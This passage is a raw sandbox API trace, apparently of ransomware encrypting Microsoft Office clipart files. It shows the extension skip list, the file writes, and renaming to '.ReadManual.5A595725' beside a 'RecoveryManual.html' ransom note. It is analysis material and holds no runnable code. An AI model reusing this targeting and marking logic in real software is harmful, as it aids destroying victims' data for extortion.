[0262.986] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.986] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.987] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.987] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.987] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" [0262.987] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ReadManual.5A595725" [0262.987] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.ReadManual.5A595725") returned 87 [0262.987] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38365546470) returned 1 [0262.987] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf")) returned 0x20 [0262.987] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.987] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2188) returned 1 [0262.987] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x88c, lpName=0x0) returned 0x184 [0262.987] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.988] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.988] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.990] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.990] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x88c) returned 0x2f0000 [0262.990] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.990] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38365876501) returned 1 [0262.990] CloseHandle (hObject=0x184) returned 1 [0262.990] SetSecurityInfo () returned 0x57 [0262.990] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.990] CloseHandle (hObject=0x194) returned 1 [0262.990] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0262.990] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02075_.WMF" | out: lpString1="FD02075_.WMF") returned="FD02075_.WMF" [0262.990] lstrcmpiW (lpString1="FD02075_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.990] StrStrIW (lpFirst="FD02075_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.991] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.991] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.991] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" [0262.991] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ReadManual.5A595725" [0262.991] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.ReadManual.5A595725") returned 87 [0262.991] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38365980025) returned 1 [0262.991] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf")) returned 0x20 [0262.991] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.991] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4396) returned 1 [0262.991] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112c, lpName=0x0) returned 0x184 [0262.992] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.992] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.992] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.994] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.994] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x112c) returned 0x2f0000 [0262.994] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0262.994] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38366327569) returned 1 [0262.995] CloseHandle (hObject=0x184) returned 1 [0262.995] SetSecurityInfo () returned 0x57 [0262.995] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0262.995] CloseHandle (hObject=0x194) returned 1 [0262.995] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0262.995] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02088_.WMF" | out: lpString1="FD02088_.WMF") returned="FD02088_.WMF" [0262.995] lstrcmpiW (lpString1="FD02088_.WMF", lpString2="RecoveryManual.html") returned -1 [0262.995] StrStrIW (lpFirst="FD02088_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0262.995] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0262.995] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0262.995] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" [0262.995] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ReadManual.5A595725" [0262.995] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.ReadManual.5A595725") returned 87 [0262.995] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38366421981) returned 1 [0262.996] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x20 [0262.996] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0262.996] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3696) returned 1 [0262.997] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe70, lpName=0x0) returned 0x184 [0262.997] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0262.997] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.997] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0262.999] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0262.999] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe70) returned 0x2f0000 [0262.999] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.000] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38366829197) returned 1 [0263.000] CloseHandle (hObject=0x184) returned 1 [0263.000] SetSecurityInfo () returned 0x57 [0263.000] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.000] CloseHandle (hObject=0x194) returned 1 [0263.000] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0263.000] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02097_.WMF" | out: lpString1="FD02097_.WMF") returned="FD02097_.WMF" [0263.000] lstrcmpiW (lpString1="FD02097_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.000] StrStrIW (lpFirst="FD02097_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.000] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.000] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.000] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" [0263.000] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ReadManual.5A595725" [0263.000] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.ReadManual.5A595725") returned 87 [0263.001] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38366930989) returned 1 [0263.001] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x20 [0263.001] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.001] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1564) returned 1 [0263.001] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x61c, lpName=0x0) returned 0x184 [0263.001] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.002] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.002] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.004] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.004] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x61c) returned 0x2f0000 [0263.004] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.004] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38367264493) returned 1 [0263.004] CloseHandle (hObject=0x184) returned 1 [0263.004] SetSecurityInfo () returned 0x57 [0263.004] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.004] CloseHandle (hObject=0x194) returned 1 [0263.004] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0263.004] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02115_.WMF" | out: lpString1="FD02115_.WMF") returned="FD02115_.WMF" [0263.004] lstrcmpiW (lpString1="FD02115_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.004] StrStrIW (lpFirst="FD02115_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.004] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.004] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.004] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.004] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.004] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.004] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.005] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.005] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" [0263.005] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ReadManual.5A595725" [0263.005] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.ReadManual.5A595725") returned 87 [0263.005] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38367367208) returned 1 [0263.005] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x20 [0263.006] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.006] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4660) returned 1 [0263.006] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1234, lpName=0x0) returned 0x184 [0263.006] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.007] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.007] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.009] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.009] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1234) returned 0x2f0000 [0263.009] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.009] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38367788905) returned 1 [0263.009] CloseHandle (hObject=0x184) returned 1 [0263.009] SetSecurityInfo () returned 0x57 [0263.009] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.009] CloseHandle (hObject=0x194) returned 1 [0263.009] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0263.011] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02116_.WMF" | out: lpString1="FD02116_.WMF") returned="FD02116_.WMF" [0263.011] lstrcmpiW (lpString1="FD02116_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.011] StrStrIW (lpFirst="FD02116_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.011] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.011] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.011] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" [0263.011] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ReadManual.5A595725" [0263.011] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.ReadManual.5A595725") returned 87 [0263.011] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38368001902) returned 1 [0263.011] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x20 [0263.012] 